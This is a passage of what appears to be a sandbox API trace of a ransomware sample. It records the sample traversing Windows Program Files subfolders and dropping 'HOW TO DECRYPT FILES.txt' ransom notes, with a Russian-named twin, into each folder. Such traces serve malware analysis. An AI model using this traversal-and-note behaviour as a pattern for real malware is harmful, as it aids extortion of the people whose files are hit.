DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.138] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="zh-phonetic.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" [0058.139] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0058.139] FindClose (in: hFindFile=0x4f8270 | out: hFindFile=0x4f8270) returned 1 [0058.139] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="main.xml", cAlternateFileName="")) returned 1 [0058.139] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.139] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="main.xml") returned -1 [0058.139] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="main.xml") returned -1 [0058.139] lstrcmpiA (lpString1="", lpString2="main.xml") returned -1 [0058.139] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.139] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.139] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.139] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.139] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="main.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" [0058.139] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="numbers", cAlternateFileName="")) returned 1 [0058.139] lstrcmpA (lpString1=".", lpString2="numbers") returned -1 [0058.139] lstrcmpA (lpString1="..", lpString2="numbers") returned -1 [0058.139] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="numbers" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" [0058.140] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0058.140] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.140] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.140] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.140] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.140] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0058.140] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="numbase.xml") returned -1 [0058.140] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="numbase.xml") returned -1 [0058.140] lstrcmpiA (lpString1="", lpString2="numbase.xml") returned -1 [0058.140] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\" [0058.140] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\") returned="" [0058.140] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\HOW TO DECRYPT FILES.txt" [0058.141] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\how to decrypt files.txt")) returned 0xffffffff [0058.141] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.143] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.143] CloseHandle (hObject=0x94) returned 1 [0058.143] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", lpString2="numbase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" [0058.144] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0058.144] FindClose (in: hFindFile=0x4f8278 | out: hFindFile=0x4f8278) returned 1 [0058.144] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0058.144] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.144] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="numbers.xml") returned -1 [0058.144] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="numbers.xml") returned -1 [0058.144] lstrcmpiA (lpString1="", lpString2="numbers.xml") returned -1 [0058.144] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.144] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.144] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.144] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.144] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="numbers.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" [0058.144] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0058.144] lstrcmpA (lpString1=".", lpString2="oskmenu") returned -1 [0058.144] lstrcmpA (lpString1="..", lpString2="oskmenu") returned -1 [0058.145] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="oskmenu" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" [0058.145] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0058.146] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.146] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.146] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.146] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.146] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0058.146] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.146] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oskmenubase.xml") returned -1 [0058.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oskmenubase.xml") returned -1 [0058.146] lstrcmpiA (lpString1="", lpString2="oskmenubase.xml") returned -1 [0058.146] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\" [0058.146] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\") returned="" [0058.146] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\HOW TO DECRYPT FILES.txt" [0058.146] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\how to decrypt files.txt")) returned 0xffffffff [0058.146] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.151] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.151] CloseHandle (hObject=0x94) returned 1 [0058.151] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", lpString2="oskmenubase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" [0058.152] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0058.152] FindClose (in: hFindFile=0x4f8278 | out: hFindFile=0x4f8278) returned 1 [0058.152] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0058.152] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.152] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oskmenu.xml") returned -1 [0058.152] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oskmenu.xml") returned -1 [0058.152] lstrcmpiA (lpString1="", lpString2="oskmenu.xml") returned -1 [0058.152] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.152] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.152] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.152] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.152] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="oskmenu.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" [0058.152] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0058.152] lstrcmpA (lpString1=".", lpString2="osknumpad") returned -1 [0058.152] lstrcmpA (lpString1="..", lpString2="osknumpad") returned -1 [0058.152] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="osknumpad" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" [0058.153] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0058.153] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.153] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.153] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.153] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.153] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0058.153] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.153] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="osknumpadbase.xml") returned -1 [0058.153] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="osknumpadbase.xml") returned -1 [0058.153] lstrcmpiA (lpString1="", lpString2="osknumpadbase.xml") returned -1 [0058.153] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\" [0058.153] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\") returned="" [0058.153] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\HOW TO DECRYPT FILES.txt" [0058.153] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\how to decrypt files.txt")) returned 0xffffffff [0058.154] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.155] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.155] CloseHandle (hObject=0x94) returned 1 [0058.156] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", lpString2="osknumpadbase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft 